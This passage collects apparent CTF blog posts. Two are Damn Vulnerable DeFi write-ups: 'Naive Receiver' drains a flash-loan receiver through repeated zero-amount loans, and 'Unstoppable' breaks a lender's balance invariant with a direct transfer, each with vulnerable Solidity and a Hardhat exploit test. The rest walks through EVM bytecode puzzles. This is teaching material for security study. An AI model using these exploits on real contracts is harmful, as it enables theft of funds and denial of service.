  const ETHER_IN_RECEIVER = ethers.utils.parseEther('10'); // receiver has 10 ETH
  const ETHER_LOAN_FEE = ethers.utils.parseEther('1'); // flash loaning costs 1 ETH

  before(async () => {
    [owner, attacker] = await ethers.getSigners();
    pool = await ethers.getContractFactory('NaiveReceiverLenderPool', owner).then(f => f.deploy());
    receiver = await ethers.getContractFactory('FlashLoanReceiver', owner).then(f => f.deploy(pool.address));

    // send ETH to pool
    await owner.sendTransaction({to: pool.address, value: ETHER_IN_POOL});
    expect(await ethers.provider.getBalance(pool.address)).to.be.equal(ETHER_IN_POOL);
    expect(await pool.fixedFee()).to.be.equal(ETHER_LOAN_FEE);

    // send ETH to receiver
    await owner.sendTransaction({to: receiver.address, value: ETHER_IN_RECEIVER});
    expect(await ethers.provider.getBalance(receiver.address)).to.be.equal(ETHER_IN_RECEIVER);
  });

  it('should drain funds from receiver', async () => {
    // receiver has 10 ethers, and will pay 1 ether fee for each flash loan
    // we can make flash loans in their place, and drain everything
    // borrow amount does not matter, so we use 0 for that
    for (let i = 0; i < 10; i++) {
      await pool.connect(attacker).flashLoan(receiver.address, 0);
    }

    // NOTE: you can also do this from within a contract, thus achieving the same result in a single transaction
  });

  after(async () => {
    // all ETH should be drained from the receiver
    expect(await ethers.provider.getBalance(receiver.address)).to.be.equal(0);
    expect(await ethers.provider.getBalance(pool.address)).to.be.equal(ETHER_IN_POOL.add(ETHER_IN_RECEIVER));
  });
});

Damn Vulnerable Defi: 1. Unstoppable

Erhan Tezcan — Sat, 28 Jan 2023 11:39:08 +0000

Damn Vulnerable Defi is a series of challenges related to DeFi by tinchoabbate. It has flash loans, exchanges, pools and much more. In this series I will be sharing my solutions for the challenges.

There's a lending pool with a million DVT tokens in balance, offering flash loans for free.
If only there was a way to attack and stop the pool from offering flash loans... You start with 100 DVT tokens in balance.

Objective of CTF:

Break the flash loan (denial of service) such that no one will be able to take loans anymore.

Target contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

interface IReceiver {
  function receiveTokens(address tokenAddress, uint256 amount) external;
}

/**
 * @title ReceiverUnstoppable
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract ReceiverUnstoppable {
  UnstoppableLender private immutable pool;
  address private immutable owner;

  constructor(address poolAddress) {
    pool = UnstoppableLender(poolAddress);
    owner = msg.sender;
  }

  // Pool will call this function during the flash loan
  // This will give `amount` tokens from this contract back to the pool
  function receiveTokens(address tokenAddress, uint256 amount) external {
    require(msg.sender == address(pool), "Sender must be pool");
    require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
  }

  function executeFlashLoan(uint256 amount) external {
    require(msg.sender == owner, "Only owner can execute flash loan");
    pool.flashLoan(amount);
  }
}

/**
 * @title UnstoppableLender
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract UnstoppableLender is ReentrancyGuard {
  IERC20 public immutable damnValuableToken;
  uint256 public poolBalance;

  constructor(address tokenAddress) {
    require(tokenAddress != address(0), "Token address cannot be zero");
    damnValuableToken = IERC20(tokenAddress);
  }

  function depositTokens(uint256 amount) external nonReentrant {
    require(amount > 0, "Must deposit at least one token");

    // transfer token from sender, sender must have first approved them.
    damnValuableToken.transferFrom(msg.sender, address(this), amount);
    poolBalance = poolBalance + amount;
  }

  function flashLoan(uint256 borrowAmount) external nonReentrant {
    require(borrowAmount > 0, "Must borrow at least one token");

    uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
    require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

    // ensured by the protocol via the `depositTokens` function
    assert(poolBalance == balanceBefore);

    // send tokens to the borrower
    damnValuableToken.transfer(msg.sender, borrowAmount);

    // receives the lent tokens back from the borrower
    IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);

    uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
    require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
  }
}

The Attack

Let us examine how this flash loan works. Users are expected to deposit tokens with depositTokens function, which calls transferFrom function as we know from ERC20. Of course, user must have approved the lender tokens so that it can call transferFrom.When someone wants to take a loan, they simply call flashLoan to request a given amount.

The problematic looking line is the following:

assert(poolBalance == balanceBefore)

The pool balance is not taken from token.balanceOf(poolAddress) but instead kept within the lender storage with the poolBalance variable. You may have heard of "single source of truth" practice in programming; here, we have two different variable that are tracking the pool balance.

Unfortunately, poolBalance does not take into account transfers via direct token functions, without using the depositTokens function! So, if we were to transfer some tokens via transfer function of ERC20, that will break assertion at the aforementioned line, rendering the flashLoan function useless.

Proof of Concept

Here is a Hardhat test to demonstrate the attack.

describe('Damn Vulnerable Defi 1: Unstoppable', () => {
  let owner: SignerWithAddress;
  let attacker: SignerWithAddress;
  let victim: SignerWithAddress;

  let token: DamnValuableToken;
  let pool: UnstoppableLender;
  let receiverContract: ReceiverUnstoppable;

  const TOKENS_IN_POOL = ethers.utils.parseEther('1000000'); // pool has 1M * 10**18 tokens
  const INITIAL_ATTACKER_TOKEN_BALANCE = ethers.utils.parseEther('100'); // attacker has 100 tokens

  before(async () => {
    [owner, attacker, victim] = await ethers.getSigners();
    token = await ethers.getContractFactory('DamnValuableToken', owner).then(f => f.deploy());
    pool = await ethers.getContractFactory('UnstoppableLender', owner).then(f => f.deploy(token.address));
    receiverContract = await ethers.getContractFactory('ReceiverUnstoppable', victim).then(f => f.deploy(pool.address));

    // deposit tokens to the pool
    await token.approve(pool.address, TOKENS_IN_POOL);
    await pool.depositTokens(TOKENS_IN_POOL);
    expect(await token.balanceOf(pool.address)).to.equal(TOKENS_IN_POOL);

    // give attacker balance
    await token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE);
    expect(await token.balanceOf(attacker.address)).to.equal(INITIAL_ATTACKER_TOKEN_BALANCE);

    // show it's possible for some other user to take out a flash loan
    await receiverContract.executeFlashLoan(10);
  });

  it('should rek the flash loan', async () => {
    // send some money without `deposit`
    token.connect(attacker).transfer(pool.address, ethers.utils.parseEther('1'));
  });

  after(async () => {
    // it should no longer be possible to execute flash loans
    await expect(receiverContract.executeFlashLoan(10)).to.be.reverted;
  });
});

More EVM Puzzles - Walkthrough

Erhan Tezcan — Tue, 24 Jan 2023 15:41:26 +0000

More EVM Puzzles are a collection of puzzles, similar to EVM Puzzles by Franco Victorio. In each puzzle, the objective is to have the code STOP, rather than REVERT.

Puzzle 1

00      36      CALLDATASIZE
01      34      CALLVALUE
02      0A      EXP
03      56      JUMP
04      FE      INVALID
05      FE      INVALID
06      FE      INVALID
07      FE      INVALID
08      FE      INVALID
09      FE      INVALID
0A      FE      INVALID
0B      FE      INVALID
0C      FE      INVALID
0D      FE      INVALID
0E      FE      INVALID
0F      FE      INVALID
10      FE      INVALID
11      FE      INVALID
12      FE      INVALID
13      FE      INVALID
14      FE      INVALID
15      FE      INVALID
16      FE      INVALID
17      FE      INVALID
18      FE      INVALID
19      FE      INVALID
1A      FE      INVALID
1B      FE      INVALID
1C      FE      INVALID
1D      FE      INVALID
1E      FE      INVALID
1F      FE      INVALID
20      FE      INVALID
21      FE      INVALID
22      FE      INVALID
23      FE      INVALID
24      FE      INVALID
25      FE      INVALID
26      FE      INVALID
27      FE      INVALID
28      FE      INVALID
29      FE      INVALID
2A      FE      INVALID
2B      FE      INVALID
2C      FE      INVALID
2D      FE      INVALID
2E      FE      INVALID
2F      FE      INVALID
30      FE      INVALID
31      FE      INVALID
32      FE      INVALID
33      FE      INVALID
34      FE      INVALID
35      FE      INVALID
36      FE      INVALID
37      FE      INVALID
38      FE      INVALID
39      FE      INVALID
3A      FE      INVALID
3B      FE      INVALID
3C      FE      INVALID
3D      FE      INVALID
3E      FE      INVALID
3F      FE      INVALID
40      5B      JUMPDEST
41      58      PC
42      36      CALLDATASIZE
43      01      ADD
44      56      JUMP
45      FE      INVALID
46      FE      INVALID
47      5B      JUMPDEST
48      00      STOP

In this puzzle, we have two jumps to be concerned:

The first jump targets destination callvalue ^ calldatasize. We want this to be 0x40 which is 2 ** 6. There are several ways we can obtain this.
The second jump targets calldatasize + programcounter. The PC instruction will return the line number that it is called at, in this case 41. To reach 47, we need our calldata size to be 6. So, for the previous jump target that means we need a calldata value of 2, simply giving us 2 ** 6.

Puzzle 2

00      36        CALLDATASIZE
01      6000      PUSH1 00
03      6000      PUSH1 00
05      37        CALLDATACOPY
06      36        CALLDATASIZE
07      6000      PUSH1 00
09      6000      PUSH1 00
0B      F0        CREATE
0C      6000      PUSH1 00
0E      80        DUP1
0F      80        DUP1
10      80        DUP1
11      80        DUP1
12      94        SWAP5
13      5A        GAS
14      F1        CALL
15      3D        RETURNDATASIZE
16      600A      PUSH1 0A
18      14        EQ
19      601F      PUSH1 1F
1B      57        JUMPI
1C      FE        INVALID
1D      FE        INVALID
1E      FE        INVALID
1F      5B        JUMPDEST
20      00        STOP

Don't be afraid of what is going on above there. We simply create a contract, and call it; expecting the call to return something with the size 0x0A as a result. So, that is simply what we will do!

// init
PUSH1 0x0a // runtime code is 10 bytes
PUSH1 0x0C // runtime code starts at 0x0C
PUSH1 0x00 // copy to 0th memory slot
CODECOPY
PUSH1 0x0a // runtime code is 10 bytes
PUSH1 0x00 // return from 0th memory slot
RETURN

// runtime
PUSH1 0x0a // return 12 bytes
DUP1       // offset irrelevant
RETURN

Puzzle 3

00      36        CALLDATASIZE
01      6000      PUSH1 00
03      6000      PUSH1 00
05      37        CALLDATACOPY
06      36        CALLDATASIZE
07      6000      PUSH1 00
09      6000      PUSH1 00
0B      F0        CREATE
0C      6000      PUSH1 00
0E      80        DUP1
0F      80        DUP1
10      80        DUP1
11      93        SWAP4
12      5A        GAS
13      F4        DELEGATECALL
14      6005      PUSH1 05
16      54        SLOAD
17      60AA      PUSH1 AA
19      14        EQ
1A      601E      PUSH1 1E
1C      57        JUMPI
1D      FE        INVALID
1E      5B        JUMPDEST
1F      00        STOP

This one is similar to the previous, again a contract is created but this time a delegate-call is made. After that, it is checked whether the 5th slot in the storage is equal to 0xAA. So, we just have to write a contract that sets 0xAA to slot 5.

// init
PUSH1 0x05 // 5 byte runtime code
PUSH1 0x0C // runtime code position
PUSH1 0x00 // write to memory position 0
CODECOPY   // copies the bytecode
PUSH1 0x05 // 5 byte runtime code
PUSH1 0x00 // read from memory position 0
RETURN     // returns the code copied above
// runtime
PUSH1 0xAA // value
PUSH1 0x05 // key
SSTORE     // store command

In bytecode terms: 0x6005600c60003960056000f360aa600555 does the trick.

Puzzle 4

00      30        ADDRESS
01      31        BALANCE
02      36        CALLDATASIZE
03      6000      PUSH1 00
05      6000      PUSH1 00
07      37        CALLDATACOPY
08      36        CALLDATASIZE
09      6000      PUSH1 00
0B      30        ADDRESS
0C      31        BALANCE
0D      F0        CREATE
0E      31        BALANCE
0F      90        SWAP1
10      04        DIV
11      6002      PUSH1 02
13      14        EQ
14      6018      PUSH1 18
16      57        JUMPI
17      FD        REVERT
18      5B        JUMPDEST
19      00        STOP

First, assuming that our account has 0 balance, the balance of this address during runtime will be equal to the callvalue. Then, notice that CREATE has value equal to callvalue, meaning that it is consuming all our balance.

Then, we check the balance of that deployed contract, and expect it to be half of the initial balance (calculated in the first two lines). To make that possible, we simply have to make our contract send half of the callvalue to somewhere else.

// (call:7) retSize
PUSH1 0x00
// (call:6) retOffset
DUP1
// (call:5) argsSize
DUP1
// (call:4) argsOffset
DUP1
// (call:3) find half of call value (assuming it is even)
PUSH1 0x02
CALLVALUE
DIV
// (call:2) address (0x0)
DUP2
// (call:1) remaining gas
GAS
// send money!
CALL

// return nothing
PUSH1 0x00
DUP1
RETURN     // returns the code copied above

The initialization code does not have to return anything, so we can return right after making our call. To sum up, our calldata is 0x600080808060023404815af1600080f3 and the callvalue can be any even number!

Puzzle 5

00      6020      PUSH1 20
02      36        CALLDATASIZE
03      11        GT
04      6008      PUSH1 08
06      57        JUMPI
07      FD        REVERT
08      5B        JUMPDEST
09      36        CALLDATASIZE
0A      6000      PUSH1 00
0C      6000      PUSH1 00
0E      37        CALLDATACOPY
0F      36        CALLDATASIZE
10      59        MSIZE
11      03        SUB
12      6003      PUSH1 03
14      14        EQ
15      6019      PUSH1 19
17      57        JUMPI
18      FD        REVERT
19      5B        JUMPDEST
1A      00        STOP

In the beginning, we simply need to have a calldata that is greater than 0x20. In the second part, there is a CALLDATACOPY followed by MSIZE. Now, CALLDATACOPY will copy the calldata into memory, but note that this will happen in 32-byte chunks. MSIZE will return the highest reached offset in memory. Suppose our calldata size is larger than 0x20 but less than 0x40. When written into memory, even if calldata size is less than 0x40 the highest memory offset will be 0x40, due to it being written in chunks of 32 bytes.

We want MSIZE - CALLDATASIZE to be equal to 3, so we can have a calldata of size 0x3D and that would be ok! Here is a calldata of that size: 0x11223344112233441122334411223344112233441122334411223344112233441122334411223344112233441122334411223344112233441122334411. I just copy-pasted chunks of 4 byte 11223344s and then removed 3 bytes from the end.

Puzzle 6

00      7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0      PUSH32 FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0
21      34                                                                      CALLVALUE
22      01                                                                      ADD
23      6001                                                                    PUSH1 01
25      14                                                                      EQ
26      602A                                                                    PUSH1 2A
28      57                                                                      JUMPI
29      FD                                                                      REVERT
2A      5B                                                                      JUMPDEST
2B      00                                                                      STOP

Here, we have a HUGE number 0xFF...F0 and we add some callvalue to it, expecting the result to be 0x01. How is that possible? Well, it's the good ol' overflow issue right here. If we add 0x0F to it, the whole thing becomes 0xFF..FF. So, we add just 1 more to that and it becomes 0x00..00. To get to 0x00..01, we just add once more. Basically, our callvalue is 17 (0x0F + 0x01 + 0x01).

Puzzle 7

00      5A        GAS
01      34        CALLVALUE
02      5B        JUMPDEST
03      6001      PUSH1 01
05      90        SWAP1
06      03        SUB
07      80        DUP1
08      6000      PUSH1 00
0A      14        EQ
0B      6011      PUSH1 11
0D      57        JUMPI
0E      6002      PUSH1 02
10      56        JUMP
11      5B        JUMPDEST
12      5A        GAS
13      90        SWAP1
14      91        SWAP2
15      03        SUB
16      60A6      PUSH1 A6
18      14        EQ
19      601D      PUSH1 1D
1B      57        JUMPI
1C      FD        REVERT
1D      5B        JUMPDEST
1E      00        STOP

In the first, we have a CALLVALUE - 0x01 == 0x00 check. If true, we go to line 0x11; otherwise, we go to line 0x02.

At 0x011, a GAS - GAS' (where GAS' is the one from line 0x00) is calculated and we win if that is equal to A6. In other words, we must have spent 0xA6 gas to get here.
At 0x02, we basically do the same things again. In fact, this whole thing is a for-loop that loops as much as your CALLVALUE.

Looking at these together, we must be looping for a while so that the gas spent is 0xA6 when that check happens. 0xA6 = 100 * 16 + 6 = 166. A callvalue of 4 does the trick.

(TODO GAS CALCULATIONS)

Puzzle 8

00      34        CALLVALUE
01      15        ISZERO
02      19        NOT
03      6007      PUSH1 07
05      57        JUMPI
06      FD        REVERT
07      5B        JUMPDEST
08      36        CALLDATASIZE
09      6000      PUSH1 00
0B      6000      PUSH1 00
0D      37        CALLDATACOPY
0E      36        CALLDATASIZE
0F      6000      PUSH1 00
11      6000      PUSH1 00
13      F0        CREATE
14      47        SELFBALANCE
15      6000      PUSH1 00
17      6000      PUSH1 00
19      6000      PUSH1 00
1B      6000      PUSH1 00
1D      47        SELFBALANCE
1E      86        DUP7
1F      5A        GAS
20      F1        CALL
21      6001      PUSH1 01
23      14        EQ
24      6028      PUSH1 28
26      57        JUMPI
27      FD        REVERT
28      5B        JUMPDEST
29      47        SELFBALANCE
2A      14        EQ
2B      602F      PUSH1 2F
2D      57        JUMPI
2E      FD        REVERT
2F      5B        JUMPDEST
30      00        STOP

The first jump will occur if callvalue is non-zero, because ISZERO will return 0 and NOT will make it to be 1 again, thus enabling the JUMPI on line 0x05.

Afterwards, a contract is created with value SELFBALANCE (which may be assumed equal to callvalue) and then it is called. The returned data is expected to be equal to 0x01. Finally, the balance after making the call is expected to equal the initial balance.

Considering that SELFBALANCE is used during contract creation, and then it is called afterwards, the call should send the given balance back to the deployer, otherwise self-balance of the caller will be 0. In doing so, the deployed code should also return 0x01 as return data.

// init
PUSH1 0x0F  // runtime code size
PUSH1 0x0C  // runtime code position
PUSH1 0x00  // write to memory position 0
CODECOPY    // copies the bytecode
PUSH1 0x0F  // runtime code size
PUSH1 0x00  // read from memory position 0
RETURN      // returns the code copied above
// runtime
PUSH1 0x01  // (mstore:2) value = 0x01
PUSH1 0x80  // (mstore:1) offset, 0x80 as required by EVM
MSTORE
PUSH1 0x01  // (call:7) retSize 1 byte
PUSH1 0x80  // (call:6) retOffset
DUP1        // (call:5) argsSize
DUP1        // (call:4) argsOffset
SELFBALANCE // (call:3) return entire balance
CALLER      // (call:2) address is msg.sender
GAS         // (call:1) remaining gas
CALL        // sends selfbalance to msg.sender

Our calldata is as written above, which results in a contract to be deployed, which returns 0x01 and forwards all it's balance to the caller when it is called.

Puzzle 9

00      34        CALLVALUE
01      6000      PUSH1 00
03      52        MSTORE
04      6020      PUSH1 20
06      6000      PUSH1 00
08      20        SHA3
09      60F8      PUSH1 F8
0B      1C        SHR
0C      60A8      PUSH1 A8
0E      14        EQ
0F      6016      PUSH1 16
11      57        JUMPI
12      FD        REVERT
13      FD        REVERT
14      FD        REVERT
15      FD        REVERT
16      5B        JUMPDEST
17      00        STOP

First, our callvalue is stored in the 0th slot of memory. Then, 20 bytes of this value is given to SHA3 as input. The resulting hash is shifted 0xF8 times, meaning 248 times, so there remains just a single byte as a result (256 - 248 = 8). We want this to equal 0xA8.

All we have to do is then find a callvalue such that it's SHA3's most significant byte is 0xA8. Considering that the hash output is close to uniformly random, we have about 1/256 chance to guess it correctly.

We can write a script for that, but I will just give the answer to be 47 here, which results in SHA3 a813484aef6fb598f9f753daf162068ff39ccea4075cb95e1a30f86995b5b7ee.

Puzzle 10

00      6020                                                                    PUSH1 20
02      6000                                                                    PUSH1 00
04      6000                                                                    PUSH1 00
06      37                                                                      CALLDATACOPY
07      6000                                                                    PUSH1 00
09      51                                                                      MLOAD
0A      7FF0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0      PUSH32 F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0
2B      16                                                                      AND
2C      6020                                                                    PUSH1 20
2E      6020                                                                    PUSH1 20
30      6000                                                                    PUSH1 00
32      37                                                                      CALLDATACOPY
33      6000                                                                    PUSH1 00
35      51                                                                      MLOAD
36      17                                                                      OR
37      7FABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABAB      PUSH32 ABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABAB
58      14                                                                      EQ
59      605D                                                                    PUSH1 5D
5B      57                                                                      JUMPI
5C      FD                                                                      REVERT
5D      5B                                                                      JUMPDEST
5E      00                                                                      STOP

In the first part, a 32-byte are loaded from the calldata. Then, this is bitwise-AND'ed with 32-byte 0xF0F0..F0 of 32 bytes. Next, another 32-byte is read from the calldata and it is bitwise-OR'ed with the previous result. We require this final result to be equal to 0xABAB..AB.

We can do this as follows:

0xA0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0 // calldata bytes 0..31
0xF0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0 // given by challenge
// --------------------------------------------------------------- AND
0xA0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0 // result from previous
0x0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B // calldata bytes 32..63
// --------------------------------------------------------------- OR
0xABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABAB // our result
0xABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABAB // expected result

So our calldata should be 0xA0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A00B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B